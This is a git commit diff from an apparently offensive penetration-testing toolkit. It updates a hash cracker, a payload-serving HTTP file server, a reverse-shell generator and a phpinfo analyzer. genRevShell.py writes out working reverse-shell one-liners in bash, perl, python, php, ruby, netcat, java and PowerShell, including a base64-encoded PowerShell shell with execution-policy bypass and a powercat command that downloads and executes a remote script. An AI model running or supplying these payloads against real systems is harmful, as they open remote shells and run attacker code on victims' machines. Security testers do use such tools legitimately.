Roman Hergenreder 2 years ago
parent
commit
c297fa6a1a
4 changed files with 96 additions and 20 deletions
  1. 6 0
      crack_hash.py
  2. 39 10
      fileserver.py
  3. 20 10
      genRevShell.py
  4. 31 0
      phpinfo-analyzer.py

+ 6 - 0
crack_hash.py

@@ -33,12 +33,14 @@ class HashType(enum.Enum):
     RAW_SHA2_224 = 1300
     RAW_SHA2_256 = 1400
     SHA256_PASS_SALT = 1410
+    SSHA256 = 1411
     SHA256_SALT_PASS = 1420
     HMAC_SHA256_PASS = 1450
     HMAC_SHA256_SALT = 1460
     RAW_SHA2_384 = 10800
     RAW_SHA2_512 = 1700
     SHA512_PASS_SALT = 1710
+    SSHA512 = 1711
     SHA512_SALT_PASS = 1720
 
     # SHA3
@@ -145,6 +147,10 @@ class Hash:
                     self.type.append(HashType.SHA1)
                 elif hash_type == "SSHA":
                     self.type.append(HashType.SSHA1)
+                elif hash_type == "SSHA256":
+                    self.type.append(HashType.SSHA256)
+                elif hash_type == "SSHA512":
+                    self.type.append(HashType.SSHA512)
 
             if ":" in raw_hash:
                 parts = raw_hash.split(":")

+ 39 - 10
fileserver.py

@@ -5,6 +5,7 @@ from urllib.parse import urlparse
 import threading
 import requests
 import sys
+import time
 import os
 import ssl
 import util
@@ -82,6 +83,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
         data        = b"" if len(result) < 2 else result[1]
         headers     = { } if len(result) < 3 else result[2]
 
+        if path in self.server.dumpRequests:
+            headers["Access-Control-Allow-Origin"] = "*"
+
         if len(headers) == 0:
             self.send_response(status_code)
         else:
@@ -128,6 +132,8 @@ class HttpFileServer(HTTPServer):
         self.dumpRequests = []
         self.prefix_routes = { }
         self.is_running = True
+        self.listen_thread = None
+        self.has_exited = False
 
     def cleanPath(self, path):
 
@@ -164,12 +170,14 @@ class HttpFileServer(HTTPServer):
     def enableLogging(self):
         self.logRequests = True
 
-    def enableSSL(self, keyFile=None, certFile=None):
-        if keyFile is None:
-            print("Generating certificate…")
+    def enableSSL(self, keyFile="private.key", certFile="server.crt"):
+
+        if not os.path.isfile(keyFile):
+            print("Generating private key and certificate…")
             os.system("openssl req -new -x509 -keyout private.key -out server.crt -days 365 -nodes")
-            certFile = "server.crt"
-            keyFile = "private.key"
+        elif not os.path.isfile(certFile):
+            print("Generating certificate…")
+            os.system("openssl req -new -x509 -keyin private.key -out server.crt -days 365 -nodes")
 
         self.socket = ssl.wrap_socket(self.socket,
             server_side=True,
@@ -185,21 +193,42 @@ class HttpFileServer(HTTPServer):
         #     pass
 
     def startBackground(self):
-        t = threading.Thread(target=self.serve_forever)
-        t.start()
-        return t
+        self.listen_thread = threading.Thread(target=self.serve_forever)
+        self.listen_thread.start()
+        return self.listen_thread
 
     def start(self):
         return self.serve_forever()
 
+    def get_base_url():
+        addr, port = self.server_address
+        if port != 80:
+            port = f":{port}"
+        protocol = "https" if gettype(self.socket) == ssl.SSLSocket else "http"
+        return f"{protocol}://{addr}{port}"
+
     def stop(self):
         self.is_running = False
-        # dummy request
-        requests.get(f"http://{self.server_name}:{self.server_port}/dummy")
+        time.sleep(1)
+
+        try:
+            # dummy request
+            for i in range(3):
+                requests.get(f"{self.get_base_url()}/dummy")
+                if self.has_exited:
+                    break
+                time.sleep(1)
+        except:
+            pass
+
+        if self.listen_thread != threading.currentThread():
+            self.listen_thread.join()
 
     def serve_forever(self):
+        self.has_exited = False
         while self.is_running:
             self.handle_request()
+        self.has_exited = True
 
 
 if __name__ == "__main__":

+ 20 - 10
genRevShell.py

@@ -68,32 +68,42 @@ class ShellListener:
         while self.running and self.connection is not None:
             self.sendline(input())
 
-def generatePayload(type, local_address, port):
+def generatePayload(type, local_address, port, index=None):
+
+    commands = []
 
     if type == "bash":
-        return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
+        commands.append(f"bash -i >& /dev/tcp/{local_address}/{port} 0>&1")
     elif type == "perl":
-        return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \
-        "perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port)
+        commands.append(f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}};'")
+        commands.append(f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'")
     elif type == "python" or type == "python2" or type == "python3":
         binary = type
-        return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
+        commands.append(f"{binary} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")
     elif type == "php":
-        return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port)
+        commands.append(f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/bin/bash -i <&3 >&3 2>&3\");'")
     elif type == "ruby":
-        return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port)
+        commands.append(f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'")
     elif type == "netcat" or type == "nc":
-        return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port)
+        commands.append(f"nc -e /bin/bash {local_address} {port}")
+        commands.append(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {local_address} {port} >/tmp/f")
     elif type == "java":
-        return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
+        commands.append(f"r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()")
     elif type == "xterm":
-        return "xterm -display %s:1" % (local_address)
+        commands.append(f"xterm -display {local_address}:1")
     elif type == "powercat":
         return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
     elif type == "powershell":
         payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port)
         payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode()
         return f"powershell.exe -exec bypass -enc {payload_encoded}"
+    else:
+        return None
+
+    if index is None or index < 0 or index >= len(commands):
+        return "\n".join(commands)
+    else:
+        return commands[index]
 
 def spawn_listener(port):
     pty.spawn(["nc", "-lvvp", str(port)])

+ 31 - 0
phpinfo-analyzer.py

@@ -0,0 +1,31 @@
+import requests
+import sys
+from bs4 import BeautifulSoup
+
+def analyze(soup):
+    tables = soup.find_all("table")
+    for table in tables:
+        thead = table.find("tr", { "class": "h" })
+        if not thead or len(thead.find_all("th")) != 3:
+            continue
+
+        for tr in table.find_all("tr"):
+            tds = tr.find_all("td")
+            if len(tds) != 3:
+                continue
+
+            label, local, master = tds       
+            if local.text != master.text:
+                print(f"[+] {label.text} differs. local={local.text} master={master.text}")
+
+if __name__ == "__main__":
+    if len(sys.argv) < 2:
+        print("Usage: %s <url>", sys.argv[0])
+    else:
+        url = sys.argv[1]
+        res = requests.get(url)
+        if res.status_code != 200:
+            print("[-] Server returned:", res.status_code, res.reason)
+        else:
+            soup = BeautifulSoup(res.text, "html.parser")
+            analyze(soup)